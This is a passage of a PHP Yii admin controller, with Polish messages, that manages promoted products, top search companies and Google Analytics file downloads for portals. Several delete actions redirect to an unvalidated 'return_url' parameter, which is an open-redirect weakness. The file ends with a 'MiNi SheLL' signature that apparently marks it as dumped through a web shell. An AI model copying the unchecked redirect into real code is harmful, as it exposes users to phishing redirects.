            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_portal', 'id_product', 'id_category', 'promoted_start_date', 'promoted_end_date']);
        }
        
        $outputParams = [
            'modelPortal' => $modelPortal, 
            'modelCategory' => $modelCategory,
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('product_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set_as_promoted_product_in_category', $outputParams);
            }            
            $model->id_portal = $modelPortal->id_portal;
            $model->id_product = $modelProduct->id_product;
            $model->id_category = $modelCategory->id_category;
            $model->promotion_type = \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('set_as_promoted_product_in_category', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            if($model->isNewRecord) {
                $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                        ->where(['>=', 'product_order', $model->product_order])
                        ->andWhere([
                            'id_portal' => $model->id_portal, 
                            'id_category' => $model->id_category,
                            'promotion_type' => \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY
                        ])->all();
                if(!empty($modelsPortalsHasProductsPromoted)) {                
                    array_walk($modelsPortalsHasProductsPromoted, function($modelPortalsHasProductsPromoted, $key) use (&$flag) {
                        $modelPortalsHasProductsPromoted->product_order += 1;
                        if(!$flag || !$modelPortalsHasProductsPromoted->save(false)) {
                            $flag = false;
                        }
                    });
                }
            } else {
                $newOrder = intval($model->product_order);
            
                if($newOrder !== $oldOrder) {
                    if($newOrder > $oldOrder) {
                        $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                            ->where(['<=', 'product_order', $newOrder])
                            ->andWhere(['>', 'product_order', $oldOrder])
                            ->andWhere([
                                'id_portal' => $model->id_portal, 
                                'id_category' => $model->id_category,
                                'promotion_type' => \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY
                            ])
                            ->andWhere(['!=', 'id_promotion', $model->id_promotion])
                            ->all();
                        if(!empty($modelsPortalsHasProductsPromoted)) {                
                            array_walk($modelsPortalsHasProductsPromoted, function($modelPortalsHasProductsPromoted, $key) use (&$flag) {
                                $modelPortalsHasProductsPromoted->product_order -= 1;
                                if(!$flag || !$modelPortalsHasProductsPromoted->save(false)) {
                                    $flag = false;
                                }
                            });
                        }
                    } else {
                        $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
                            ->where(['<', 'product_order', $oldOrder])
                            ->andWhere(['>=', 'product_order', $newOrder])
                            ->andWhere([
                                'id_portal' => $model->id_portal, 
                                'id_category' => $model->id_category,
                                'promotion_type' => \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY
                            ])
                            ->andWhere(['!=', 'id_promotion', $model->id_promotion])
                            ->all();
                        if(!empty($modelsPortalsHasProductsPromoted)) {                
                            array_walk($modelsPortalsHasProductsPromoted, function($modelPortalsHasProductsPromoted, $key) use (&$flag) {
                                $modelPortalsHasProductsPromoted->product_order += 1;
                                if(!$flag || !$modelPortalsHasProductsPromoted->save(false)) {
                                    $flag = false;
                                }
                            });
                        }
                    }
                }
            }
            
            if($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/promoted-products-in-category', 'id' => $modelPortal->id_portal, 'id_category' => $modelCategory->id_category]);
                } elseif($model->getScenario() === 'create') {
                    $outputParams['model'] = new \common\models\PortalsHasProductsPromoted(['scenario' => 'create']);
                    $outputParams['model']->id_portal = $modelPortal->id_portal;
                    $outputParams['model']->id_product = $modelProduct->id_product;
                    $outputParams['model']->id_category = $modelCategory->id_category;
                    $outputParams['model']->promotion_type = \common\models\types\ProductPromotionType::TOP_PRODUCT;
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('set_as_promoted_product_in_category', $outputParams);
    }
    
    public function actionDeletePromotedProductInCategory($id)
    {
        if(($model = \common\models\PortalsHasProductsPromoted::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $transaction = Yii::$app->db->beginTransaction();        
        //ustawianie kolejności pozostałych prezentacji promowanych na danym portalu odbywa się w metodzie PortalsHasProductsPromoted::beforeDelete();
                        
        if($model->delete() !== false) {
            $transaction->commit();
        } else {
            $transaction->rollBack();
        }
        
        if(empty(Yii::$app->request->get('return_url'))) {
            return Yii::$app->getResponse()->redirect(['portals/promoted-products-in-category', 'id' => $model->id_portal, 'id_category' => $model->id_category], 302, false);
        } else {
            return $this->redirect(Yii::$app->request->get('return_url'));
        }
    }
    
    public function actionTopSearchProducts($id)
    {
        $modelPortal = $this->findModel($id);
        
        $searchModel = new \backend\models\PortalsPromotedProductsSearch();
        $dataProviderProducts = $searchModel->search(Yii::$app->request->queryParams, $modelPortal->id_portal);

        $dataProviderTopSearchProducts = new \yii\data\ActiveDataProvider([
            'query' => $modelPortal->getRelationsWithProductsPromoted()
                ->joinWith('product')
                ->where(['portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::TOP_POSITION_IN_SEARCH])                
                ->orderBy('portals_has_products_promoted.promoted_start_date ASC'),
            'pagination' => false,
            'sort' => false
        ]);
        
        return $this->render('top_search_products', [
            'modelPortal' => $modelPortal, 
            'searchModel' => $searchModel,
            'dataProviderProducts' => $dataProviderProducts,
            'dataProviderTopSearchProducts' => $dataProviderTopSearchProducts,
        ]);
    }
    
    public function actionSetAsTopSearchProduct($id)
    {
        if (($modelProduct = \common\models\Products::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelPortal = $this->findModel(intval(Yii::$app->request->get('id_portal', null)));
        
        $model = \common\models\PortalsHasProductsPromoted::findOne(['id_portal' => $modelPortal->id_portal, 'id_product' => $modelProduct->id_product, 'promotion_type' => \common\models\types\ProductPromotionType::TOP_POSITION_IN_SEARCH]);
        if(empty($model)) {
            $model = new \common\models\PortalsHasProductsPromoted(['scenario' => 'create']);
            $model->id_portal = $modelPortal->id_portal;
            $model->id_product = $modelProduct->id_product;
            $model->promotion_type = \common\models\types\ProductPromotionType::TOP_POSITION_IN_SEARCH;
        } else {
            $model->setScenario('update');
        }
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_portal', 'id_product', 'promoted_start_date', 'promoted_end_date', 'phrases']);
        }
        
        $outputParams = [
            'modelPortal' => $modelPortal, 
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {             
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set_as_top_search_product', $outputParams);
            }            
            $model->id_portal = $modelPortal->id_portal;
            $model->id_product = $modelProduct->id_product;
            $model->promotion_type = \common\models\types\ProductPromotionType::TOP_POSITION_IN_SEARCH;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('set_as_top_search_product', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            $flag = $flag && \frontend\models\IndexProducts::refreshRecord($model->id_product); 
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/top-search-products', 'id' => $modelPortal->id_portal]);
                } elseif($model->getScenario() === 'create') {
                    $outputParams['model'] = new \common\models\PortalsHasProductsPromoted(['scenario' => 'create']);
                    $outputParams['model']->id_portal = $modelPortal->id_portal;
                    $outputParams['model']->id_product = $modelProduct->id_product;
                    $outputParams['model']->promotion_type = \common\models\types\ProductPromotionType::TOP_POSITION_IN_SEARCH;
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('set_as_top_search_product', $outputParams);
    }
    
    public function actionDeleteTopSearchProduct($id)
    {
        if (($model = \common\models\PortalsHasProductsPromoted::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $model->delete();  
        $flag = $flag && \frontend\models\IndexProducts::refreshRecord($model->id_product); 
        if($flag) {
            $transaction->commit();
        } else {
            $transaction->rollBack();
        }
        
        if(empty(Yii::$app->request->get('return_url'))) {
            return Yii::$app->getResponse()->redirect(['portals/top-search-products', 'id' => $model->id_portal], 302, false);
        } else {
            return $this->redirect(Yii::$app->request->get('return_url'));
        }
    }
    
    public function actionTopSearchCompanies($id)
    {
        $modelPortal = $this->findModel($id);
        
        $searchModel = new \backend\models\CompaniesPresentationsPromotedSearch();
        $params = Yii::$app->request->queryParams;
        $params['CompaniesPresentationsPromotedSearch']['id_portal'] = $modelPortal->id_portal;
        $dataProviderCompaniesPresentations = $searchModel->search($params);

        $dataProviderTopSearchCompanies = new \yii\data\ActiveDataProvider([
            'query' => \common\models\CompaniesPresentationsPromoted::find()->joinWith('presentation.company')->where(['companies_presentations.id_portal' => $modelPortal->id_portal, 'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_POSITION_IN_SEARCH])->orderBy('companies_presentations_promoted.promoted_start_date ASC'),
            'pagination' => false,
            'sort' => false
        ]);

        return $this->render('top_search_companies', [
            'modelPortal' => $modelPortal, 
            'searchModel' => $searchModel,
            'dataProviderCompaniesPresentations' => $dataProviderCompaniesPresentations,
            'dataProviderTopSearchCompanies' => $dataProviderTopSearchCompanies,
        ]);
    }
    
    public function actionSetAsTopSearchCompany($id)
    {
        if (($modelPresentation = \common\models\CompaniesPresentations::find()->with('portal')->where(['id_presentation' => $id])->one()) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }        
        
        $model = \common\models\CompaniesPresentationsPromoted::findOne(['id_presentation' => $modelPresentation->id_presentation, 'promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_POSITION_IN_SEARCH]);
        if(empty($model)) {
            $model = new \common\models\CompaniesPresentationsPromoted(['scenario' => 'create']);
            $model->id_presentation = $modelPresentation->id_presentation;
            $model->promotion_type = \common\models\types\CompanyPresentationPromotionType::TOP_POSITION_IN_SEARCH;
        } else {
            $model->setScenario('update');
        }
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_presentation', 'promoted_start_date', 'promoted_end_date', 'phrases']);
        }
        
        $outputParams = [
            'modelPresentation' => $modelPresentation, 
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set_as_top_search_company', $outputParams);
            }
            $model->id_presentation = $modelPresentation->id_presentation;
            $model->promotion_type = \common\models\types\CompanyPresentationPromotionType::TOP_POSITION_IN_SEARCH;
                        
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('set_as_top_search_company', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = $model->save(false);
            $flag = $flag && \frontend\models\IndexPresentations::refreshRecord($modelPresentation->id_presentation);
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/top-search-companies', 'id' => $modelPresentation->id_portal]);
                } elseif($model->getScenario() === 'create') {
                    $outputParams['model'] = new \common\models\CompaniesPresentationsPromoted(['scenario' => 'create']);
                    $outputParams['model']->id_presentation = $modelPresentation->id_presentation;
                    $outputParams['model']->promotion_type = \common\models\types\CompanyPresentationPromotionType::TOP_POSITION_IN_SEARCH;
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('set_as_top_search_company', $outputParams);
    }
    
    public function actionDeleteTopSearchCompany($id)
    {
        if (($model = \common\models\CompaniesPresentationsPromoted::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idPortal = $model->presentation->id_portal;
        
        $transaction = Yii::$app->db->beginTransaction(); 
                       
        $flag = $model->delete();
        $flag = $flag && \frontend\models\IndexPresentations::refreshRecord($model->id_presentation); 
        if($flag) {
            $transaction->commit();
        } else {
            $transaction->rollBack();
        }
        
        if(empty(Yii::$app->request->get('return_url'))) {
            return Yii::$app->getResponse()->redirect(['portals/top-search-companies', 'id' => $idPortal], 302, false);
        } else {
            return $this->redirect(Yii::$app->request->get('return_url'));
        }
    }
    
    public function actionGoogleAnalyticsFiles($id)
    {       
        $modelPortal = $this->findModel($id); 
        
        $hash = Yii::$app->params['googleAnalyticsDataDownloaderHash'];        
        $randomLoopCount = rand(10, 20);        
        for($i = 0; $i < $randomLoopCount; $i++) {
            $randomPosition = rand(0, mb_strlen($hash));
            $chars = "0123456789";
            $randomChar = $chars[rand(0, 9)];
            $hash = substr_replace($hash, $randomChar, $randomPosition, 0);
        }

        $encryptedHash = openssl_encrypt(
            $hash, 
            Yii::$app->params['googleAnalyticsDataDownloaderCiphering'], 
            Yii::$app->params['googleAnalyticsDataDownloaderEncryptionKey'],
            0, 
            Yii::$app->params['googleAnalyticsDataDownloaderInitializationVector']
        );
        
        $portal = ucfirst($modelPortal->domain);
        
        $files = file_get_contents(Yii::$app->params['googleAnalyticsDataDownloaderUrl'].'?portal='.$portal.'&k='.base64_encode($encryptedHash));        
        $files = json_decode($files, true); 
        
        $filesOutput = [];
        foreach($files as $year => $filesByYear) {
            foreach($filesByYear as $file) {
                $month = mb_substr($file, mb_strrpos($file, '_') + 5, 2);                
                $filesOutput[$year][$month][] = $file;
            }
        }
        
        return $this->render('google_analytics_files', [
            'modelPortal' => $modelPortal,
            'files' => $filesOutput
        ]);
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com